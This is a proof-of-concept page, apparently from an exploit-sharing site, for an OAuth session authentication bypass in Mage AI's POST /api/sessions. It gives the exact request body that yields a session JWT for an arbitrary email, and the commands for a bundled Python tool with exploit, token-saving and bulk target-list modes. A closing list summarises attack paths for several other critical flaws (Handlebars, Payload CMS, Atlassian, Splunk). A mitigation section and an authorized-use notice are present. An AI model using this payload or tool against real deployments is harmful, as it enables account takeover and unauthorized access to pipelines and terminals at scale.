CVE-2026-111823 — Mage AI OAuth Session Authentication Bypass (POST /api/sessions)
October 17, 2026 · 35 views
Mage OSS through 0.9.80: unknown OAuth provider on POST /api/sessions still creates session JWT from body email without token verification (CWE-390/CWE-287). Requires X-API-KEY + require_user_authentication. CVSS 3.1 9.8. Fixed 76c4f46 PR #6204. Python PoC: check, oauth-probe, exploit, bulk.
Description
Overview
CVE-2026-111823 — Mage AI (mage-ai/mage-ai, Mage OSS) — unauthenticated authentication bypass via POST /api/sessions when an unknown OAuth provider is accepted (CWE-390, CWE-287).
| | | |---|---| | Affected | Through 0.9.80 (verify commit / patch on PyPI builds) | | Fixed | 76c4f46 / PR #6204 | | CVSS 3.1 | 9.8 Critical | | Default port | 6789 |
When token and provider are present, vulnerable SessionResource.create() resolves the provider. If the name is unknown, the code path still performs user lookup/creation using request body email without validating OAuth, then returns a session JWT.
Preconditions: X-API-KEY (public OAuth client key from UI/docs); require_user_authentication=true (default on OSS 0.9.78+).
PoC page: https://pocbit.org/pocs/cve-2026-111823
GitHub: murrez/CVE-2026-111823
CVE.org: CVE-2026-111823
Exploit body (summary)
{
"session": {
"email": "[email protected]",
"token": "unverified",
"provider": "invalid"
}
}
Success: valid JWT + API access (e.g. GET /api/pipelines, /api/users). Post-auth impact may include pipelines, file explorer, terminal — see upstream #6205, #6206 hardening.
Bundled tool (Python 3)
Download cve-2026-111823.py — writes poc.py, mage_core.py, tests/.
python cve-2026-111823.py
pip install -r requirements.txt
python poc.py --mode check -b http://127.0.0.1:6789
python poc.py --mode check -b http://127.0.0.1:6789 --oauth-probe
python poc.py -f targets.example.txt --mode check --oauth-probe -o results.jsonl
python poc.py -b http://127.0.0.1:6789 -e [email protected] --save-token session.json
python -m unittest discover -s tests -t . -v
Flags: --api-key, --skip-version-check, --force, -o JSON/JSONL.
Mitigation
- Deploy Mage including PR #6204 (reject unknown OAuth before session creation).
- Restrict 6789 to trusted networks; monitor
POST /api/sessionsfor unknownprovider. - Use verified SSO providers only until patched.
Legal and ethical use
Authorized security research and patch validation only.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- Web appCVE-2026-106445critical
CVE-2026-106445 — Handlebars 4.0.0–4.7.9 RCE (Function.prototype.constructor Bypass)
handlebars 4.0.0–4.7.9: lookupProperty own-property order bypasses proto deny list → Function.prototype.constructor → sandbox escape when allowProtoMethodsByDefault:true and attacker-controlled compile (CWE-184/CWE-1289). CVSS 4.0 9.2 Critical AT:P. Fixed 4.7.10 GHSA-p8wg-vrv2-v86f. Python PoC: check/exploit, Docker lab, --render-path. Marker POCBIT-106445-OK.
- Web appCVE-2026-105844critical
CVE-2026-105844 — Payload CMS Import/Export Plugin Prototype Pollution → ACL Bypass
Payload CMS + @payloadcms/plugin-import-export ≥3.0.0 <3.88.0: POST /api/exports/export-preview fields __proto__.overrideAccess pollutes Object.prototype via getSelect() → overrideAccess on later REST ops, unauthenticated data leak (app-dependent RCE). CWE-1321, CVSS 4.0 9.3 Critical. Fixed 3.88.0 / 4.0.0-canary.27. Python PoC: check/exploit/mass -j, hits.txt & exploited.txt.
- Web appCVE-2026-21589critical
CVE-2026-21589 — Atlassian Data Center Pre-Auth Arbitrary File Read (:: Traversal)
Atlassian DC/self-managed (Jira, Confluence, Bitbucket, etc.): atlassian-plugins-webresource unescapeSlashes converts :: to / — ..:: traversal on /download/resources/ reads files under web app root (WEB-INF/web.xml, crowd.properties). CVSS 4.0 9.3 Critical, unauthenticated, read-only not RCE. Python PoC: check/exploit, --grab-crowd, mass -j. Marker POCBIT-21589-OK.
- Web appCVE-2026-76268critical
CVE-2026-76268 — Splunk Enterprise SHC Patroni REST Unauthenticated RCE (archive_command)
Splunk Enterprise 10.2.0–10.2.6 and 10.4.0–10.4.2 on SHC members: PostgreSQL sidecar Patroni REST (typ. :8008) accepts unauth PATCH /config + POST /restart → archive_command OS exec (CWE-306). SVD-2026-1001. CVSS 3.1 9.8 Critical. Fixed 10.2.7 / 10.4.3. Python PoC: check/exploit, OOB POCBIT-76268-OK.